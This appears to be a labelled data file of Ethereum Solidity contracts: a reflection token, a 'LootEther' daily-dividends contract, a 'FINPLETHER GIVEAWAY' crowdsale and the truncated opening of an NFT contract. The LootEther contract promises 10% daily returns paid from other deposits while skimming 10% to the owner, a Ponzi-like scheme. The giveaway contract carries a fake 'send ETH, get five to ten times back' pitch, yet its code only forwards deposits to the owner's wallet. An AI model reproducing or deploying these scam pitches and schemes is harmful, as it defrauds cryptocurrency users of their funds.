emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract MamaShiba is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000 * 10**5 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'MamaShiba';
string private _symbol = 'MHIBA';
uint8 private _decimals = 9;
uint256 public _maxTxAmount = 10000000 * 10**5 * 10**9;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
_maxTxAmount = _tTotal.mul(maxTxPercent).div(
10**2
);
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(100).mul(2);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
True
|
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102
] |
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] |
pragma solidity ^0.4.25;
/**
*
-------------------------------------------------------------------------------------------------------
Website: https://lootether.com/
Exchange (We recomand to use MetaMask or TrustWallet): https://lootether.com/exchange
Second Exchange (We recomand to use MetaMask or TrustWallet): https://lootether.com/second
Daily Dividends 10% (We recomand to use MetaMask or TrustWallet): https://lootether.com/daily
Twitter: https://twitter.com/lootether
Discord: https://discordapp.com/invite/bTK4KbB
-------------------------------------------------------------------------------------------------------
*/
contract LootEtherDailyDividends {
using SafeMath for uint256;
mapping(address => uint256) investments;
mapping(address => uint256) joined;
mapping(address => uint256) withdrawals;
mapping(address => uint256) referrer;
uint256 public step = 10;
uint256 public minimum = 10 finney;
uint256 public stakingRequirement = 0.01 ether;
address public ownerWallet;
address public owner;
event Invest(address investor, uint256 amount);
event Withdraw(address investor, uint256 amount);
event Bounty(address hunter, uint256 amount);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Сonstructor Sets the original roles of the contract
*/
constructor() public {
owner = msg.sender;
ownerWallet = msg.sender;
}
/**
* @dev Modifiers
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
* @param newOwnerWallet The address to transfer ownership to.
*/
function transferOwnership(address newOwner, address newOwnerWallet) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
ownerWallet = newOwnerWallet;
}
/**
* @dev Investments
*/
function () public payable {
buy(0x0);
}
function buy(address _referredBy) public payable {
require(msg.value >= minimum);
address _customerAddress = msg.sender;
if(
// is this a referred purchase?
_referredBy != 0x0000000000000000000000000000000000000000 &&
// no cheating!
_referredBy != _customerAddress &&
// does the referrer have at least X whole tokens?
// i.e is the referrer a godly chad masternode
investments[_referredBy] >= stakingRequirement
){
// wealth redistribution
referrer[_referredBy] = referrer[_referredBy].add(msg.value.mul(5).div(100));
}
if (investments[msg.sender] > 0){
if (withdraw()){
withdrawals[msg.sender] = 0;
}
}
investments[msg.sender] = investments[msg.sender].add(msg.value);
joined[msg.sender] = block.timestamp;
ownerWallet.transfer(msg.value.mul(10).div(100));
emit Invest(msg.sender, msg.value);
}
/**
* @dev Evaluate current balance
* @param _address Address of investor
*/
function getBalance(address _address) view public returns (uint256) {
uint256 minutesCount = now.sub(joined[_address]).div(1 minutes);
uint256 percent = investments[_address].mul(step).div(100);
uint256 different = percent.mul(minutesCount).div(1440);
uint256 balance = different.sub(withdrawals[_address]);
return balance;
}
/**
* @dev Withdraw dividends from contract
*/
function withdraw() public returns (bool){
require(joined[msg.sender] > 0);
uint256 balance = getBalance(msg.sender);
if (address(this).balance > balance){
if (balance > 0){
withdrawals[msg.sender] = withdrawals[msg.sender].add(balance);
msg.sender.transfer(balance);
emit Withdraw(msg.sender, balance);
}
return true;
} else {
return false;
}
}
/**
* @dev Bounty reward
*/
function bounty() public {
uint256 refBalance = checkReferral(msg.sender);
if(refBalance >= minimum) {
if (address(this).balance > refBalance) {
referrer[msg.sender] = 0;
msg.sender.transfer(refBalance);
emit Bounty(msg.sender, refBalance);
}
}
}
/**
* @dev Gets balance of the sender address.
* @return An uint256 representing the amount owned by the msg.sender.
*/
function checkBalance() public view returns (uint256) {
return getBalance(msg.sender);
}
/**
* @dev Gets withdrawals of the specified address.
* @param _investor The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function checkWithdrawals(address _investor) public view returns (uint256) {
return withdrawals[_investor];
}
/**
* @dev Gets investments of the specified address.
* @param _investor The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function checkInvestments(address _investor) public view returns (uint256) {
return investments[_investor];
}
/**
* @dev Gets referrer balance of the specified address.
* @param _hunter The address of the referrer
* @return An uint256 representing the referral earnings.
*/
function checkReferral(address _hunter) public view returns (uint256) {
return referrer[_hunter];
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
|
True
|
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/*
FINPLETHER GIVEAWAY
$500 000 000 USD
TO JOIN
THE GIVEAWAY
To Participate You just need to send between
0.05 ETH to 1000 ETH
YOU INSTANTLY GET USD BACK TO YOUR WALLET between
0.5 ETH TO 5000 ETH
For example, if you send:
0.05 ETH YOU WILL GET BACK 0.5 ETH
0.50 ETH YOU WILL GET BACK 5 ETH
1 ETH YOU WILL GET BACK 5 ETH
10 ETH YOU WILL GET BACK 50 ETH
100 ETH YOU WILL GET BACK 500 ETH
1000 ETH YOU WILL GET BACK 5000 ETH
*/
pragma solidity ^0.5.0;
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
library SafeERC20 {
using SafeMath for uint256;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
require(token.transferFrom(from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(msg.sender, spender) == 0));
require(token.approve(spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
require(token.approve(spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
require(token.approve(spender, newAllowance));
}
}
contract ReentrancyGuard {
uint256 private _guardCounter;
constructor () internal {
_guardCounter = 1;
}
modifier nonReentrant() {
_guardCounter += 1;
uint256 localCounter = _guardCounter;
_;
require(localCounter == _guardCounter);
}
}
contract Crowdsale is ReentrancyGuard {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 private _token;
address payable private _wallet;
uint256 private _rate;
uint256 private _weiRaised;
event TokensPurchased(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
constructor (uint256 rate, address payable wallet, IERC20 token) public {
require(rate > 0);
require(wallet != address(0));
require(address(token) != address(0));
_rate = rate;
_wallet = wallet;
_token = token;
}
function () external payable {
buyTokens(msg.sender);
}
function token() public view returns (IERC20) {
return _token;
}
function wallet() public view returns (address payable) {
return _wallet;
}
function rate() public view returns (uint256) {
return _rate;
}
function weiRaised() public view returns (uint256) {
return _weiRaised;
}
function buyTokens(address beneficiary) public nonReentrant payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
_weiRaised = _weiRaised.add(weiAmount);
_processPurchase(beneficiary, tokens);
emit TokensPurchased(msg.sender, beneficiary, weiAmount, tokens);
_updatePurchasingState(beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(beneficiary, weiAmount);
}
function _preValidatePurchase(address beneficiary, uint256 weiAmount) internal view {
require(beneficiary != address(0));
require(weiAmount != 0);
}
function _postValidatePurchase(address beneficiary, uint256 weiAmount) internal view {
}
function _deliverTokens(address beneficiary, uint256 tokenAmount) internal {
_token.safeTransfer(beneficiary, tokenAmount);
}
function _processPurchase(address beneficiary, uint256 tokenAmount) internal {
_deliverTokens(beneficiary, tokenAmount);
}
function _updatePurchasingState(address beneficiary, uint256 weiAmount) internal {
// solhint-disable-previous-line no-empty-blocks
}
function _getTokenAmount(uint256 weiAmount) internal view returns (uint256) {
uint256 tokenAmount = weiAmount.mul(_rate);
if (weiAmount >= 1 ether && weiAmount < 5 ether) tokenAmount = tokenAmount.mul(125).div(100);
else if (weiAmount >= 5 ether && weiAmount < 10 ether) tokenAmount = tokenAmount.mul(135).div(100);
else if (weiAmount >= 10 ether && weiAmount < 30 ether) tokenAmount = tokenAmount.mul(140).div(100);
else if (weiAmount >= 30 ether && weiAmount < 150 ether) tokenAmount = tokenAmount.mul(150).div(100);
else if (weiAmount >= 150 ether && weiAmount < 1000 ether) tokenAmount = tokenAmount.mul(60).div(100);
if (block.timestamp >= 1602450846 && block.timestamp < 1603182600) tokenAmount = tokenAmount.mul(185).div(100);
else if (block.timestamp >= 1603182600 && block.timestamp < 1604565000) tokenAmount = tokenAmount.mul(175).div(100);
else if (block.timestamp >= 1604565000 && block.timestamp < 1605861000) tokenAmount = tokenAmount.mul(165).div(100);
else if (block.timestamp >= 1605861000 && block.timestamp < 1606725000) tokenAmount = tokenAmount.mul(150).div(100);
else if (block.timestamp >= 1606725000 && block.timestamp < 1607157000) tokenAmount = tokenAmount.mul(140).div(100);
else if (block.timestamp >= 1607157000 && block.timestamp < 1607589000) tokenAmount = tokenAmount.mul(130).div(100);
else if (block.timestamp >= 1607589000 && block.timestamp < 1608021000) tokenAmount = tokenAmount.mul(120).div(100);
else if (block.timestamp >= 1608021000 && block.timestamp < 1608366600) tokenAmount = tokenAmount.mul(110).div(100);
return tokenAmount;
}
function _forwardFunds() internal {
_wallet.transfer(msg.value);
}
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _burnFrom(address account, uint256 value) internal {
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value);
_burn(account, value);
emit Approval(account, msg.sender, _allowed[account][msg.sender]);
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(account != address(0));
require(!has(role, account));
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(account != address(0));
require(has(role, account));
role.bearer[account] = false;
}
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0));
return role.bearer[account];
}
}
contract MinterRole {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private _minters;
constructor () internal {
_addMinter(msg.sender);
}
modifier onlyMinter() {
require(isMinter(msg.sender));
_;
}
function isMinter(address account) public view returns (bool) {
return _minters.has(account);
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(msg.sender);
}
function _addMinter(address account) internal {
_minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
_minters.remove(account);
emit MinterRemoved(account);
}
}
contract ERC20Mintable is ERC20, MinterRole {
function mint(address to, uint256 value) public onlyMinter returns (bool) {
_mint(to, value);
return true;
}
}
contract MintedCrowdsale is Crowdsale {
function _deliverTokens(address beneficiary, uint256 tokenAmount) internal {
require(ERC20Mintable(address(token())).mint(beneficiary, tokenAmount));
}
}
contract CappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 private _cap;
constructor (uint256 cap) public {
require(cap > 0);
_cap = cap;
}
function cap() public view returns (uint256) {
return _cap;
}
function capReached() public view returns (bool) {
return weiRaised() >= _cap;
}
function _preValidatePurchase(address beneficiary, uint256 weiAmount) internal view {
super._preValidatePurchase(beneficiary, weiAmount);
require(weiRaised().add(weiAmount) <= _cap);
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 private _openingTime;
uint256 private _closingTime;
modifier onlyWhileOpen {
require(isOpen());
_;
}
constructor (uint256 openingTime, uint256 closingTime) public {
require(closingTime > openingTime);
_openingTime = openingTime;
_closingTime = closingTime;
}
function openingTime() public view returns (uint256) {
return _openingTime;
}
function closingTime() public view returns (uint256) {
return _closingTime;
}
function isOpen() public view returns (bool) {
return block.timestamp >= _openingTime && block.timestamp <= _closingTime;
}
function hasClosed() public view returns (bool) {
return block.timestamp > _closingTime;
}
function _preValidatePurchase(address beneficiary, uint256 weiAmount) internal onlyWhileOpen view {
super._preValidatePurchase(beneficiary, weiAmount);
}
}
contract GIVEAWAY is CappedCrowdsale, TimedCrowdsale, MintedCrowdsale {
constructor(
uint256 _openingTime,
uint256 _closingTime,
uint256 _rate,
address payable _wallet,
uint256 _cap,
ERC20Mintable _token
)
public
Crowdsale(_rate, _wallet, _token)
CappedCrowdsale(_cap)
TimedCrowdsale(_openingTime, _closingTime)
{
}
}
|
True
|
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/**
*Submitted for verification at Etherscan.io on 2021-05-20
*/
// SPDX-License-Identifier: MIT
/**
* @title Artifex Smart Contract
* @author GigLabs, Brian Burns <[email protected]>
*/
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(
address(this).balance >= amount,
"Address: insufficient balance"
);
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{value: amount}("");
require(
success,
"Address: unable to send value, recipient may have reverted"
);
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return
functionCallWithValue(
target,
data,
value,
"Address: low-level call with value failed"
);
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(
address(this).balance >= value,
"Address: insufficient balance for call"
);
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) =
target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data)
internal
view
returns (bytes memory)
{
return
functionStaticCall(
target,
data,
"Address: low-level static call failed"
);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return
functionDelegateCall(
target,
data,
"Address: low-level delegate call failed"
);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant alphabet = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
